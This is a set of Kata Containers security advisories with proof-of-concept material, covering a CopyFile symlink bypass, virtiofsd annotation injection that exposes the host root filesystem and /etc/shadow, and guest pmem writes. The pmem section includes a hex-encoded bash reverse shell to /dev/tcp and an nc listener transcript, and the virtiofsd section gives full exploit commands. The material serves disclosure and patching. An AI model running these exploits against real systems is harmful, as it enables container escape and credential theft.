Summary An oversight in the CopyFile policy (and perhaps the CopyFile handler) allows untrusted hosts to write to arbitrary locations inside the guest workload image. This can be used to overwrite binaries inside the guest and exfiltrate data from containers; even those running inside CVMs.

Details Here is the policy that covers CopyFile requests. CopyFileRequest if { print("CopyFileRequest: input.path =", input.path) checkdirectorytraversal(input.path) some regex1 in policydata.requestdefaults.CopyFileRequest regex2 := replace(regex1, "$(sfprefix)", policydata.common.sfprefix) regex3 := replace(regex2, "$(cpath)", policydata.common.cpath) regex4 := replace(regex3, "$(bundle-id)", "[a-z0-9]{64}") print("CopyFileRequest: regex4 =", regex4) regex.match(regex4, input.path) print("CopyFileRequest: true") } This checks that files are being copied to policydata.common.cpath, which is typically set to /run/kata-containers/shared/containers. In other words, you're allowed to copy files to anywhere inside the shared dir.

For reference, here is the CopyFile message. Note that none of the other fields are check in the policy. message CopyFileRequest { // Path is the destination file in the guest. It must be absolute, // canonical and below /run. string path = 1; // FileSize is the expected file size, for security reasons write operations // are made in a temporary file, once it has the expected size, it's moved // to the destination path. int64 filesize = 2; // FileMode is the file mode. uint32 filemode = 3; // DirMode is the mode for the parent directories of destination path. uint32 dirmode = 4; // Uid is the numeric user id. int32 uid = 5; // Gid is the numeric group id. int32 gid = 6; // Offset for the next write operation. int64 offset = 7; // Data to write in the destination file. bytes data = 8; }

In addition to copying files directly, the Kata Agent supports creating symlinks via the CopyFile API. In this case the path is the symlink name and the data field contains the symlink target. Given that the policy only checks the path, an attacker can craft a CopyFile request that results in a symlink going from any location into the shared dir.

PoC The above primitive can be used to to write arbitrary data into container images (pulled in the guest or otherwise). A couple steps are required.

First, identify some target path in the guest image. This could be a binary that will be called by the workload. You could also experiment with overwriting other stuff.

Create a symlink from this binary to the shared dir. The path/link name should be in the shared dir and the data/target should point to the path of the target file inside the container image in the guest fs.

Create a second CopyFile request to copy your data from the host into the symlink you just created in the shared dir. This will then be propagated into the image. You may want to restart the container to ensure that your new binary is invoked.

Impact Anyone who is using the upstream genpolicy implementation and expects it to prevent host access to container images is vulnerable This includes Confidential Containers workloads where the trust model explicitly forbids this type of access. If you have your own policy implementation you may or may not be vulnerable. If you do not care about protecting the image from the host (e.g. you are using unprotected host pull), you are not vulnerable.

This was discovered by @calonso-nv.

Summary

Kata Containers ships with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the io.katacontainers.config.hypervisor.virtiofsextraargs pod annotation. By injecting -o source=/ along with --no-announce-submounts and --sandbox=none, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the kernelparams annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow.

Details

The default Kata configuration at configuration.toml line 1 contains:

enableannotations = ["enableiommu", "virtiofsextraargs", "kernelparams", "kernelverityparams"]

Both virtiofsextraargs and kernelparams are enabled out of the box. The annotation name is checked against this allowlist, but the annotation value (the actual arguments) is never validated or filtered.

In utils.go at line 981, the runtime parses the annotation value as a JSON string array and appends it directly to the virtiofsd arguments:

go if value, ok := ocispec.Annotations[vcAnnotations.VirtioFSExtraArgs]; ok { var parsedValue []string err := json.Unmarshal([]byte(value), &parsedValue) // ... sbConfig.HypervisorConfig.VirtioFSExtraArgs = append( sbConfig.HypervisorConfig.VirtioFSExtraArgs, parsedValue...) }

In virtiofsd.go at line 183-198, the runtime builds the virtiofsd command line with --shared-dir=<katamanagedpath> first, then appends the extra args:

go args := []string{ "--syslog", "--cache=" + v.cache, "--shared-dir=" + v.sourcePath, fmt.Sprintf("--fd=%v", FdSocketNumber), } if len(v.extraArgs) != 0 { args = append(args, v.extraArgs...) }

The virtiofsd binary (Rust, from gitlab.com/virtio-fs/virtiofsd) supports a compatibility option -o source=PATH that overrides the --shared-dir value. This is processed after clap argument parsing, in the parsecompat() function at main.rs:462:

rust ["source", value] => opt.shareddir = Some(value.tostring()),

Because -o source=/ is appended after --shared-dir=<katapath>, it overrides the shared directory to /. The virtiofsd process then serves the entire host root filesystem through the virtio-fs device.

Additionally, virtiofsd's --announce-submounts flag (set by default) causes the guest kernel to create FUSE automounts for bind mounts within the shared directory. When the shared directory is /, this produces automounts that shadow the root directory listing. Injecting --no-announce-submounts disables this behavior and exposes the true host root directory contents through the kataShared virtiofs mount.

The kernelparams annotation is used to inject agent.debugconsole agent.debugconsolevport=1026 into the VM kernel command line. This enables a root shell inside the VM through the kata-runtime exec command. From this shell, the attacker mounts the kataShared virtiofs filesystem and accesses host files directly.

Rootfs bridge (PoC artifact, not a real constraint)

When virtiofsd uses -o source=/ to serve the host root, the Kata agent looks for the container rootfs at /<container-id>/rootfs relative to the virtiofs root. The PoC pre-creates this directory on the host to keep the demonstration self-contained with ctr.

In a real Kubernetes attack, there are several ways to satisfy this without hostPath volumes. An initContainer that runs before the target container can create the directory. Alternatively, the attacker can set up a second pod that writes to a shared persistent volume mounted on the host. The rootfs bridge is a PoC convenience, not a limitation of the vulnerability itself.

Impact

An attacker who can create pods on a Kubernetes cluster using Kata Containers with default configuration can:

- Read any file on the host, including /etc/shadow, SSH private keys, and service credentials - Write to any file on the host, enabling persistent backdoors, cron jobs, or binary replacement - Access other containers' data through the host filesystem - Compromise the Kubernetes control plane if it runs on the same host

Steps to reproduce

Tested on a bare metal server (AMD Ryzen 5 3600, Ubuntu 24.04, kernel 6.8.0-100-generic) with Kata Containers 3.28.0 installed from the official release tarball.

1. Install Kata Containers 3.28.0 and configure containerd. Verify that the default configuration has virtiofsextraargs in enableannotations.

2. Pull a container image:

ctr image pull docker.io/library/alpine:latest

3. Run the PoC script below, or follow the manual steps:

Manual steps:

a. Extract a container rootfs and create the rootfs bridge (replace $SBID with your container name):

SBID="poc-exploit" mkdir -p /$SBID/rootfs

Extract alpine rootfs from OCI image mkdir -p /tmp/oci-extract ctr image export /tmp/oci.tar docker.io/library/alpine:latest tar xf /tmp/oci.tar -C /tmp/oci-extract IDX=$(jq -r '.manifests[0].digest' /tmp/oci-extract/index.json | sed 's/sha256://') MFT=$(jq -r '.manifests[] | select(.platform.architecture=="amd64") | .digest' \ "/tmp/oci-extract/blobs/sha256/$IDX" | head -1 | sed 's/sha256://') LYR=$(jq -r '.layers[0].digest' "/tmp/oci-extract/blobs/sha256/$MFT" | sed 's/sha256://') tar xzf "/tmp/oci-extract/blobs/sha256/$LYR" -C /$SBID/rootfs

rm -rf /tmp/oci-extract /tmp/oci.tar

b. Create a marker file on the host to prove access:

echo "HOSTESCAPEPROOF$(date)" > /root/.poc-marker

c. Start the container with the malicious annotations:

ctr run \ --runtime io.containerd.kata.v2 \ --annotation 'io.katacontainers.config.hypervisor.virtiofsextraargs=["--sandbox=none","--seccomp=none","-o","source=/","--no-announce-submounts"]' \ --annotation 'io.katacontainers.config.hypervisor.kernelparams=agent.debugconsole agent.debugconsolevport=1026' \ docker.io/library/alpine:latest $SBID \ sleep 3600 &

Wait 20-30 seconds for the VM to start. Verify with ctr task ls.

d. Enter the VM through the debug console:

/opt/kata/bin/kata-runtime exec $SBID

e. Inside the VM, mount the host filesystem and read host files:

mkdir -p /tmp/hostfs mount -t virtiofs kataShared /tmp/hostfs cat /tmp/hostfs/etc/hostname cat /tmp/hostfs/root/.poc-marker head -3 /tmp/hostfs/etc/shadow cat /tmp/hostfs/etc/os-release ls /tmp/hostfs/opt/kata/bin/

f. Observe that /etc/hostname returns the host's hostname (not "localhost"), /etc/os-release shows the host OS (Ubuntu, not Alpine), /etc/shadow shows the host's password hashes, and /opt/kata/bin/ lists the Kata binaries installed on the host.

4. Clean up:

ctr task kill $SBID --signal SIGKILL ctr container rm $SBID umount /$SBID/rootfs rm -rf /$SBID

Proof of concept output

Below is the output from a successful run on Kata Containers 3.28.0. The host runs Ubuntu 24.04. The container image is Alpine Linux.

root@7a7325d5d804:/# mkdir -p /tmp/h && mount -t virtiofs kataShared /tmp/h root@7a7325d5d804:/# echo DIRCOUNT:$(ls /tmp/h/ | wc -l) DIRCOUNT:37 root@7a7325d5d804:/# echo HOSTNAME:$(cat /tmp/h/etc/hostname) HOSTNAME:kata-poc root@7a7325d5d804:/# echo OSREL:$(head -1 /tmp/h/etc/os-release) OSREL:PRETTYNAME="Ubuntu 24.04.3 LTS" root@7a7325d5d804:/# cat /tmp/h/root/.kata-poc-marker HOSTNS21776058192 root@7a7325d5d804:/# echo SHADOW:$(head -1 /tmp/h/etc/shadow) SHADOW:root::17478:0:99999:7::: root@7a7325d5d804:/# echo BOOT:$(ls /tmp/h/boot 2>/dev/null | head -3) BOOT:System.map-6.8.0-100-generic System.map-6.8.0-107-generic config-6.8.0-100-generic root@7a7325d5d804:/# echo KATA:$(ls /tmp/h/opt/kata/bin 2>/dev/null | head -3) KATA:cloud-hypervisor containerd-shim-kata-v2 firecracker

The host's real hostname (kata-poc), OS (Ubuntu 24.04.3 LTS), /etc/shadow content, kernel files in /boot, and Kata binaries in /opt/kata/bin are all visible from inside the VM. The container itself runs Alpine, confirming this is the host filesystem and not the container's own filesystem.

Summary

An issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file).

Details

Linux virtio-pmem The virtio-pmem probe path always registers the region as a generic pagemap that supports asynchronous flushes, but it never marks the region as read-only. Only the NDREGIONPAGEMAP and NDREGIONASYNC bits are set before the region is created, so ndregion->ro always stays cleared and the block device is left writable.

Later, pmemattachdisk() wires the region into the block layer with full read/write semantics – the block device operations call pmemdowrite() which performs cache-flushed memcpy operations directly into the host-provided shared memory window. nvdimmcheckandsetro() would set the disk read-only if the region had been flagged as such, but because virtiopmem never sets that flag, the helper becomes a no-op.

Cloud-Hypervisor virtiopmem discardwrites=on causes the file backing the virtio-pmem device to be opened read-only and mapped with MAPPRIVATE rather than MAPSHARED. That combination means the guest can modify the private copy of the mapped pages, but those modifications never propagate back to the underlying file. The guest (and Cloud Hypervisor process) will still read the modified data because it lives in the private copy of the mapping, so write-then-read sequences appear to succeed even though nothing is persisted. Once the mapping is dropped or the VM is restarted, those copy-on-write changes disappear, leaving the backing file unchanged.

Kata /dev/pmem0 Kata boots each pod/VM by DAX-mapping a read-only guest image from the host into the VM and telling the guest kernel to mount the resulting /dev/pmem device as its root filesystem. Since DAX maps the backing file directly into guest memory, there is no way for the hypervisor to intercept or reject individual stores, so a container with sufficient permissions can open /dev/pmem0 and observe its own writes until the VM is rebooted or the cache is dropped.

PoC

When putting all this together, this means that a user of a Container (not necessarily privileged, we don’t need CAPSYSADMIN, but we need CAPMKNOD) can modify the Guest OS filesystem, replacing libraries or binaries to achieve arbitrary code execution outside of the Container. This requires computing offsets of files within the device, which requires information like the partition start sector, sector size in bytes, the filesystem block size, and the physical block index of the file.

To achieve execution on the Guest, I replaced /usr/bin/systemd-tmpfiles with a connect-back shell to localhost: timers end up executing 15min after boot. I use debugfs to not require mounting privileges and work directly with the filesystem on /dev/pmem0p1 to get the absolute offset of the file to modify in the device.

If you want a simpler PoC, just dd write something into /dev/pmem0 and observe it's dd readable until discarded.

root@ab5392da44ce:~# mknod /dev/pmem0 b 259 0 root@ab5392da44ce:~# mknod /dev/pmem0p1 b 259 1 root@ab5392da44ce:~# python pmem.py --file /usr/bin/systemd-tmpfiles --write --pattern 23212f62696e2f626173680a62617368202d69203e26202f6465762f7463702f3132372e302e302e312f34343320303e26310a6578697420300a === Resolution === Partition device: /dev/pmem0p1 (pmem0p1) Partition start (sectors): 2048 Sector size (bytes): 512 Partition start (bytes): 1048576 Filesystem block size: 4096 File path: /usr/bin/systemd-tmpfiles File offset (bytes): 0 Logical block index: 0 Intra-block offset: 0 Physical block index: 40668 → Absolute pmem offset: 167624704 [] Raw read (64 bytes at 167624704): 09fdc000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 09fdc010 03 00 3e 00 01 00 00 00 20 66 00 00 00 00 00 00 |..>..... f......| 09fdc020 40 00 00 00 00 00 00 00 48 82 01 00 00 00 00 00 |@.......H.......| 09fdc030 00 00 00 00 40 00 38 00 0d 00 40 00 20 00 1f 00 |....@.8...@. ...| [+] Wrote 58 bytes at absolute offset 167624704. Verifying... 09fdc000 23 21 2f 62 69 6e 2f 62 61 73 68 0a 62 61 73 68 |#!/bin/bash.bash| 09fdc010 20 2d 69 20 3e 26 20 2f 64 65 76 2f 74 63 70 2f | -i >& /dev/tcp/| 09fdc020 31 32 37 2e 30 2e 30 2e 31 2f 34 34 33 20 30 3e |127.0.0.1/443 0>| 09fdc030 26 31 0a 65 78 69 74 20 30 0a |&1.exit 0.| root@ab5392da44ce:~# nc -lvp 443 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:44880. bash: cannot set terminal process group (329): Inappropriate ioctl for device bash: no job control in this shell root@localhost:/# root@localhost:/# ps auxw ps auxw USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 17280 1920 ? Ss 16:16 0:01 /sbin/init root 2 0.0 0.0 0 0 ? S 16:16 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? S 16:16 0:00 [poolworkqueuerelease] root 4 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-rcugp] root 5 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-syncwq] root 6 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-slubflushwq] root 7 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-netns] root 9 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:0H-eventshighpri] root 10 0.0 0.0 0 0 ? I 16:16 0:01 [kworker/0:1-eventspowerefficient] root 12 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mmpercpuwq] root 13 0.0 0.0 0 0 ? I 16:16 0:00 [rcutaskstracekthread] root 14 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/0] root 15 0.0 0.0 0 0 ? I 16:16 0:00 [rcusched] root 16 0.0 0.0 0 0 ? S 16:16 0:00 [rcuexppargpkthreadworker/1] root 17 0.0 0.0 0 0 ? S 16:16 0:00 [rcuexpgpkthreadworker] root 18 0.0 0.0 0 0 ? S 16:16 0:00 [migration/0] root 19 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/0] root 20 0.0 0.0 0 0 ? S 16:16 0:00 [kdevtmpfs] root 21 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-inetfragwq] root 22 0.0 0.0 0 0 ? S 16:16 0:00 [kauditd] root 23 0.0 0.0 0 0 ? S 16:16 0:00 [oomreaper] root 24 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-writeback] root 25 0.0 0.0 0 0 ? S 16:16 0:00 [kcompactd0] root 26 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-cryptd] root 27 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kblockd] root 28 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:1H] root 29 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:1-eventsunbound] root 30 0.0 0.0 0 0 ? S 16:16 0:00 [kswapd0] root 31 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfsalloc] root 32 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfsmrucache] root 33 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/u257:0] root 34 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kthrotld] root 36 0.0 0.0 0 0 ? S 16:16 0:00 [irq/25-ACPI:Ged] root 37 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-nfit] root 38 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/0:2-virtiovsock] root 39 0.0 0.0 0 0 ? S 16:16 0:00 [hwrng] root 40 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:2-eventsunbound] root 41 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-vfio-irqfd-cleanup] root 42 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mld] root 43 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ipv6addrconf] root 81 0.0 0.0 0 0 ? S 16:16 0:00 [jbd2/pmem0p1-8] root 82 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ext4-rsv-conversion] root 99 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:3] root 105 0.0 0.0 62032 2568 ? Ssl 16:16 0:02 /usr/bin/kata-agent chrony 117 0.0 0.0 10692 540 ? S 16:16 0:02 /usr/sbin/chronyd -F 1 chrony 120 0.0 0.0 10560 460 ? S 16:16 0:00 /usr/sbin/chronyd -F 1 root 122 0.2 1.0 44876 31556 ? S 16:16 0:11 python -m server message+ 124 0.0 0.0 8120 384 ? Ss 16:16 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only root 129 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/1] root 130 0.0 0.0 0 0 ? S 16:16 0:00 [migration/1] root 131 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/1] root 132 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:0-mmpercpuwq] root 133 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:0H-eventshighpri] root 134 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:1H] root 142 0.0 0.0 5400 2220 pts/0 Ss 16:16 0:00 bash -l root 145 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:1] root 323 0.0 0.1 13212 3448 pts/0 R+ 16:17 0:00 nc -lvp 443 root 329 0.0 0.0 4780 256 ? Ss 16:31 0:00 /bin/bash /usr/bin/systemd-tmpfiles --clean root 330 0.0 0.0 5048 512 ? S 16:31 0:00 bash -i root 377 0.0 0.0 7480 256 ? R 17:33 0:00 ps auxw root@localhost:/#

Impact Container to Guest micro VM Escape (no escape to Host, no persistence of the overwritten image)

Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. In versions prior to 3.26.0, when a container image is malformed or contains no layers, containerd falls back to bind-mounting an empty snapshotter directory for the container rootfs. When the Kata runtime attempts to mount the container rootfs, the bind mount causes the rootfs to be detected as a block device, leading to the underlying device being hotplugged to the guest. This can cause filesystem-level errors on the host due to double inode allocation, and may lead to the host's block device being mounted as read-only. Version 3.26.0 contains a patch for the issue.

Kata Containers doesn't restrict containers from accessing the guest's root filesystem device. Malicious containers can exploit this to gain code execution on the guest and masquerade as the kata-agent. This issue affects Kata Containers 1.11 versions earlier than 1.11.1; Kata Containers 1.10 versions earlier than 1.10.5; and Kata Containers 1.9 and earlier versions.

An improper link resolution vulnerability affects Kata Containers versions prior to 1.11.0. Upon container teardown, a malicious guest can trick the kata-runtime into unmounting any mount point on the host and all mount points underneath it, potentiality resulting in a host DoS.

A malicious guest compromised before a container creation (e.g. a malicious guest image or a guest running multiple containers) can trick the kata runtime into mounting the untrusted container filesystem on any host path, potentially allowing for code execution on the host. This issue affects: Kata Containers 1.11 versions earlier than 1.11.1; Kata Containers 1.10 versions earlier than 1.10.5; Kata Containers 1.9 and earlier versions.

Kata Containers before 1.11.0 on Cloud Hypervisor persists guest filesystem changes to the underlying image file on the host. A malicious guest can overwrite the image file to gain control of all subsequent guest VMs. Since Kata Containers uses the same VM image file with all VMMs, this issue may also affect QEMU and Firecracker based guests.

An improper file permissions vulnerability affects Kata Containers prior to 1.11.5. When using a Kubernetes hostPath volume and mounting either a file or directory into a container as readonly, the file/directory is mounted as readOnly inside the container, but is still writable inside the guest. For a container breakout situation, a malicious guest can potentially modify or delete files/directories expected to be read-only.

An issue was discovered in Kata Containers through 1.11.3 and 2.x through 2.0-rc1. The runtime will execute binaries given using annotations without any kind of validation. Someone who is granted access rights to a cluster will be able to have kata-runtime execute arbitrary binaries as root on the worker nodes.